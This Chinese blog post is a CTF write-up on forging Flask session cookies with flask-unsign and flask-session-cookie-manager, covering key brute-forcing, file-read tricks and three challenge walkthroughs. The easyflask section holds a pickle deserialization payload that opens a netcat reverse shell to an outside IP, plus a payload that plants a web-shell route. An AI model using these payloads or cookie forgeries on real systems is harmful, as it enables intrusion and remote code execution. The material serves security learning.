0x01 说在前面 在一般的情况下,网站都会做一个简答的身份验证,而flask当中自然也有,这种就是我们常见的session
,session
是什么,可以看这个文章
1 https://baozongwi.xyz/2024/09/11/%E6%B5%85%E8%B0%88session%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
0x02 question 现在网上进行session伪造的很少有不需要key
的几乎没有,所以这里推荐一个工具叫做flask-unsign
,还有就是大家经常使用的脚本,不过我们先看一下结构
结构 先随便生成一个session
1 eyJsb2NhbGUiOiJlbiJ9-ZSDIwA-v5-mHM9ITAx5lbFhwa3jNnWTIYY
Flask Session 的组成结构主要由三部分构成,第一部分为 Session Data ,即会话数据。第二部分为 Timestamp ,即时间戳。第三部分为 Cryptographic Hash ,即加密哈希。如下图
下面的结果是看P牛 的博客知道的(他有代码)
json.dumps 将对象转换成json字符串,作为数据
如果数据压缩后长度更短,则用zlib库进行压缩
将数据用base64编码
通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割
签名只能防篡改不能防止被读取,所以我们只要有key就可以伪造cookie
解密代码 我们上面已经知道了逻辑,那么来分析一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload ): payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload) if __name__ == '__main__' : print (decryption("eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs" .encode()))
一步步来首先,用.
给session
分开,然后看看是否是压缩过的
1 2 3 4 decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True
如果是.
开头那需要解压,那么我们是导入了用来处理用于安全地签名和解签名数据的itsdangerous
中的base64_decode
来进行会话数据的处理
测了是否是压缩数据之后就用这个函数进行数据处理然后再看是否需要进行解压,看懂代码的师傅已经发现我们只处理了session的第一段,所以这里是不需要密钥的,就可以看到解密数据,只不过解密的话不好搞
flask-unsign 安装直接可以利用pip库进行安装
1 pip install flask-unsign
然后就可以进行具体的使用了,说一下常用的命令吧
解码 Cookie
1 flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
暴力破解
1 2 3 flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval flask-unsign --unsign --cookie '<SessionCookieStructure>'
签名
1 flask-unsign --sign --cookie "{'name': 'admin'}" --secret 'SCFmkpovdDVCJPO21cvcds'
使用旧版本进行签名
1 flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
flask-session-cookie-manager 这个项目之前我经常用,不过他不能够爆破所以后面就都用的unsign
了
1 https://github.com/noraj/flask-session-cookie-manager
基本的命令
Encode
1 2 python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}' eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw
Decode With secret key:
1 2 python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' {u'username': 'admin', u'number': '326410031505'}
Without secret key (less pretty output):
1 2 python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' {"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}
s
是密钥,刚才我们知道了无key
的解密代码,这里我们剖析一下代码,看看生成逻辑学习一下,
先看Python2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' import sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] <= 2 and sys.version_info[1 ] < 6 : raise Exception('Must be using at least Python 2.6' ) elif (sys.version_info[0 ] == 2 and sys.version_info[1 ] >= 6 ): from abc import ABCMeta, abstractmethod else : raise Exception('Use Python 3 version of the script' ) import argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self .secret_key = secret_key class FSCM : __metaclass__ = ABCMeta @classmethod def encode (cls, secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e @classmethod def decode (cls, session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key == None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e if __name__ == "__main__" : parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder' , epilog="Author : Wilson Sumanang, Alexandre ZANNI" ) subparsers = parser.add_subparsers(help ='sub-command help' , dest='subcommand' ) parser_encode = subparsers.add_parser('encode' , help ='encode' ) parser_encode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=True ) parser_encode.add_argument('-t' , '--cookie-structure' , metavar='<string>' , help ='Session cookie structure' , required=True ) parser_decode = subparsers.add_parser('decode' , help ='decode' ) parser_decode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=False ) parser_decode.add_argument('-c' , '--cookie-value' , metavar='<string>' , help ='Session cookie value' , required=True ) args = parser.parse_args() if (args.subcommand == 'encode' ): if (args.secret_key is not None and args.cookie_structure is not None ): print (FSCM.encode(args.secret_key, args.cookie_structure)) elif (args.subcommand == 'decode' ): if (args.secret_key is not None and args.cookie_value is not None ): print (FSCM.decode(args.cookie_value, args.secret_key)) elif (args.cookie_value is not None ): print (FSCM.decode(args.cookie_value))
首先进行python版本的检查,然后就是创建一个抽象基类进行解码和编码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @classmethod def encode (cls, secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e)
SecureCookieSessionInterface
是Flask中用于管理会话的类
再来看看解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @classmethod def decode (cls, session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key == None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e
如果没有key就像我们之前分析的解密代码一样操作,如果有key就调用SecureCookieSessionInterface
的签名序列化器进行解码,主程序的话就是处理终端问题了
看Python3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' import sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethod else : from abc import ABC, abstractmethod import argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self .secret_key = secret_key if sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : class FSCM (metaclass=ABCMeta): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key == None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e else : class FSCM (ABC ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key == None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e if __name__ == "__main__" : parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder' , epilog="Author : Wilson Sumanang, Alexandre ZANNI" ) subparsers = parser.add_subparsers(help ='sub-command help' , dest='subcommand' ) parser_encode = subparsers.add_parser('encode' , help ='encode' ) parser_encode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=True ) parser_encode.add_argument('-t' , '--cookie-structure' , metavar='<string>' , help ='Session cookie structure' , required=True ) parser_decode = subparsers.add_parser('decode' , help ='decode' ) parser_decode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=False ) parser_decode.add_argument('-c' , '--cookie-value' , metavar='<string>' , help ='Session cookie value' , required=True ) args = parser.parse_args() if (args.subcommand == 'encode' ): if (args.secret_key is not None and args.cookie_structure is not None ): print (FSCM.encode(args.secret_key, args.cookie_structure)) elif (args.subcommand == 'decode' ): if (args.secret_key is not None and args.cookie_value is not None ): print (FSCM.decode(args.cookie_value, args.secret_key)) elif (args.cookie_value is not None ): print (FSCM.decode(args.cookie_value))
其实可以看到,加解密逻辑是一样的,区别主要是不同版本引入合适的抽象基类模块是不一样的
1 2 3 4 5 6 if sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethod else : from abc import ABC, abstractmethod
ABCMeta
是一个元类,用来创建抽象类。在 Python 3.0-3.3 版本中,所有的抽象类都必须通过 ABCMeta
来创建,使用 abstractmethod
标记的方法必须在子类中实现。从 Python 3.4 开始,Python 直接引入了 ABC
类,作为所有抽象类的基类,不再需要通过 ABCMeta
作为元类来定义抽象类。
demo demo1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from flask import Flask,sessionimport osfrom datetime import timedeltaapp = Flask(__name__) app.config['SECRET_KEY' ]='admin' app.config['PERMANENT_SESSION_LIFETIME' ]=timedelta(days=7 ) @app.route('/' ) def hello_world (): session.permanent=True session['username' ] = 'st4ck' return 'Hello World!' @app.route('/get/' ) def get (): return session.get('username' ) @app.route('/delete/' ) def delete (): print (session.get('username' )) session.pop('username' ) print (session.get('username' )) return 'delete' @app.route('/clear/' ) def clear (): print (session.get('username' )) session.clear() print (session.get('username' )) return 'clear' if __name__ == '__main__' : app.run(debug=True )
首先我们进页面拿到session
之后,直接伪造就成功了
1 2 3 4 flask-unsign --unsign --cookie 'eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InN0NGNrIn0.Zxdmow.BzAFkrTH8uJ0vjX9NK84fs4fd_4' 得到key为admin flask-unsign --sign --cookie "{'_permanent': True, 'username': 'admin'}" --secret 'admin'
不过我在测试的时候发现了一个问题就是第一次伪造居然没有成功
[CISCN2019 华东南赛区]Web4 进来发现可以任意文件读取,发现有session,读取一下源码
1 http://9c691607-93a5-4804-8bf3-0c970945b836.node5.buuoj.cn:81/read?url=/app/app.py
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import reimport randomimport uuidimport urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random() * 233 ) app.debug = True @app.route('/' ) def index (): session['username' ] = 'www-data' return 'Hello World! Read somethings' @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print (str (ex)) return 'no response' @app.route('/flag' ) def flag (): if session and session['username' ] == 'fuck' : return open ('/flag.txt' ).read() else : return 'Access denied' if __name__ == '__main__' : app.run(debug=True , host="0.0.0.0" )
这里简单的看看发现这个key是uuid.getnode()
获取设备的 MAC 地址,并且基于它生成一个随机数种子,将其乘以 233
,那么这里我们要先得到Linux的mac地址才可以
1 2 3 http://9c691607-93a5-4804-8bf3-0c970945b836.node5.buuoj.cn:81/read?url=/sys/class/net/eth0/address 26:02:a0:70:24:ff
然后写个脚本转换成十进制
1 2 3 4 5 6 7 8 import randommac="26:02:a0:70:24:ff" nmac=mac.replace(":" ,"" ) random.seed(int (nmac,16 )) key=str (random.random()*233 ) print (key)
然后必须使用python2运行脚本,不然会key不对,因为容器的版本是python2,这里我没有所以下载了一会
1 2 3 4 python3 flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZxdrSA.Ncr0UTHnOZMsHMD2ShMa4FqUq78' -s '151.884456934' python3 flask_session_cookie_manager3.py encode -s '151.884456934' -t "{'username':'fuck'}" eyJ1c2VybmFtZSI6ImZ1Y2sifQ.Zxdvlg.yMn9uQGEEXQ0_1hrxkuEnKnLo88
然后就可以了
[HFCTF 2021 Final]easyflask 首先进来然后读到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import osimport picklefrom base64 import b64decodefrom flask import Flask, request, render_template, sessionapp = Flask(__name__) app.config["SECRET_KEY" ] = "*******" User = type ('User' , (object ,), { 'uname' : 'test' , 'is_admin' : 0 , '__repr__' : lambda o: o.uname, }) @app.route('/' , methods=('GET' , ) ) def index_handler (): if not session.get('u' ): u = pickle.dumps(User()) session['u' ] = u return "/file?file=index.js" @app.route('/file' , methods=('GET' , ) ) def file_handler (): path = request.args.get('file' ) path = os.path.join('static' , path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open (path, 'r' ) as fp: content = fp.read() return content @app.route('/admin' , methods=('GET' , ) ) def admin_handler (): try : u = session.get('u' ) if isinstance (u, dict ): u = b64decode(u.get('b' )) u = pickle.loads(u) except Exception: return 'uhh?' if u.is_admin == 1 : return 'welcome, admin' else : return 'who are you?' if __name__ == '__main__' : app.run('0.0.0.0' , port=80 , debug=False )
发现是一个pickle反序列化,而且这个反序列化还比较特别
1 flask-unsign --decode --cookie 'eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.Zxd0Ew.FE739mDkORjZKi8wUsoC_ihTmPU'
这里解密之后可以看出是吧pickle的数据放到session里面,然后再访问/admin
路由来进行RCE
写个poc
1 2 3 4 5 6 7 8 9 10 11 12 import pickleimport base64class User (object ): def __reduce__ (self ): return (eval ,("__import__('os').system('nc 110.42.47.145 9999 -e /bin/sh')" ,)) a=pickle.dumps(User()) b=base64.b64encode(a) print (b)
我们直接在User
类里面加入reduce
方法,现在还缺少key,读取文件看看
1 2 3 http://d79f09e0-eba8-4366-b99e-7a3f58f3488b.node5.buuoj.cn:81/file?file=/proc/self/environ glzjin22948575858jfjfjufirijidjitg3uiiuuh
然后伪造cookie
1 2 3 flask-unsign --sign --cookie "{'u':'gASVVgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw6X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ25jIDI3LjI1LjE1MS40OCA5OTk5IC1lIC9iaW4vc2gnKZSFlFKULg=='}" --secret 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' eyJ1IjoiZ0FTVlZ3QUFBQUFBQUFDTUNHSjFhV3gwYVc1emxJd0VaWFpoYkpTVGxJdzdYMTlwYlhCdmNuUmZYeWduYjNNbktTNXplWE4wWlcwb0oyNWpJREV4TUM0ME1pNDBOeTR4TkRVZ09UazVPU0F0WlNBdlltbHVMM05vSnltVWhaUlNsQzQ9In0.Zxd4LQ.nb_BX_nxzya9tPD4hB_4rzVqSO8
但是并没有成功,后面发现参数不对
1 2 3 flask-unsign --sign --cookie "{'u':{'b':'gASVVgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIw6X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ25jIDI3LjI1LjE1MS40OCA5OTk5IC1lIC9iaW4vc2gnKZSFlFKULg=='}}" --secret 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' .eJwtxsEOgiAAANB_4QtAxU03D0baQM0tTBg3cEWRoy5Z6fz3OvRObwFPkC7AgBTYnPe9zf9IQ3YMafGGWuB5pK9CSXUxjHe_xxIlDyM30-APZ_mx3oSNrzieT3IPlYB3FmBHtzSsHUW1K1DDI9iSHLfdDVOCRkqSqxbRNATWV4qXY1kda5tlYF2_C_Etvg.Zxd8rQ.PttfeJwijgdIb2u0ggL-LrqGPR0
理论上我这里真的找不出错误来不过只要带着正确的payload就直接500了,弹不出来shell
1 2 3 4 5 6 7 8 9 10 11 12 13 import base64import pickleclass User (object ): def __reduce__ (self ): return (eval , ('app.add_route(lambda request:__import__("os").popen(request.args.get("cmd")).read(), "/shell", methods=["GET", "POST"])' ,)) a = pickle.dumps(User()) b=base64.b64encode(a) print (b)
1 2 3 flask-unsign --sign --cookie "{'u':{'b':'gASVkwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIx3YXBwLmFkZF9yb3V0ZShsYW1iZGEgcmVxdWVzdDpfX2ltcG9ydF9fKCJvcyIpLnBvcGVuKHJlcXVlc3QuYXJncy5nZXQoImNtZCIpKS5yZWFkKCksICIvc2hlbGwiLCBtZXRob2RzPVsiR0VUIiwgIlBPU1QiXSmUhZRSlC4='}}" --secret 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' .eJwtwdtugyAAANB_4Qu8zAeb7KGyakG3VJmAvFVMlYjWxAti03_fy855gRWcXqAGJ9CeCe3N-R_8hgl272x37iw4NDIXwUVXY_Kr0e5XPDLZEPciDm3tU0eQbq6Yq0RyaeVA94bRo_maHtzTi0xC28ThI4V4kxZN2RhtMqFresVacqqln68Vx6O0wSh4_kTDzyIgmlISWMHiPoX9jCDapNfpOjEqg9EiePGsveK40VkVDi2RMi3S0a10c8XJUHaiIBp-fIL3-w9Gu0yK.Zxd-VA.hF90jV5bi9v_kg2bzjDkz5Bo3bE
这个还是没有用,不懂了
[HCTF 2018]admin 这里的话是一道老相思了,一个审计的flask题目,经过审计得到key为ckj123
1 2 3 4 5 flask-unsign --decode --cookie '.eJxFUMtuwjAQ_JVqzxyKEx-KxIHKEIG0jkxtIu8F8QghDgYpgAJG_HtdKrXXmdl57AOWu7Y872Fwaa9lD5b1FgYPeFvDADCMGYmJRz1i1s8O5KqO_KJGb-95NqlJjzgGc0OHXGbjm9RVlwsbyDWpZLMDum1j_dxhwD4KwyhDjgxTcoaTUD96bp1s0FVJXpgk1-aOBaZSz10uPve2GCckLLdBdaQVz0XM8OSkHqUyYlJPE3KzeK-G8OzB5tzulpdTUx7_JzAVozd3KlRK2cKjoIYK01ltOultrD6vMdg-xpo2TBlqk0g1fNnVflWVf05f_sNsul_muPKRgPXqFE7HqquhB9dz2b5-B_13eH4D3_9ulw.Zxdw0g.ctfAsW_RL46CliW21lMecJxokiY' flask-unsign --sign --cookie "{'_fresh': True, '_id': b'316d1f106bbef80feb2f28abe093512394a1580863f987be27dbdc335056dc93c8f59d41589b3d2879e79521c854c80aaa7d69c40e498116fc508740527f2d24', 'csrf_token': b'3d5072ed8def06dee0a506f124b3652dcc261575', 'image': b'JoTs', 'name': 'admin', 'user_id': '10'}" --secret 'ckj123' 得到cookie .eJxFUMtuwjAQ_JVqzxyKEx-KxIHKEIG0jkxtIu8lohBCHEylAAoY8e91qdReZ2bnsXcod1112sPo3F2qAZTNFkZ3ePmEEWCYMhIzj3rCrF8cyNU9-VWD3t7ybNaQnnAM5ooOucymV6nrPhc2kGtTyRYHdNvW-qXDgEMUhlGGHBmm5AwnoX703DrZoquTvDBJrs0NC0ylXrpcvO9tMU1IWG6D6kkrnouY4clJPUllxKSeJ-QW8V6N4TGAzanbleevtjr-T2AqRm9uVKiUspVHQS0Vprfa9NLbWH3ZYLBDjDVtmDPUJpFq_LRr_Lqu_pw-_JvZ9L_Mce0jAeutb44wgMup6p5_g-ErPL4BHS9s0A.ZxdxYg.N1yzi4FzuxhmJUonmrDtH5t7d8M
0x03 小结 其实看了这么多,主要就是学学代码思路,原理的话可以看P牛的博客,其中跟着代码走走,这里有个小点子就是key
一般都放在环境变量或者config
里面,这些demo基本都是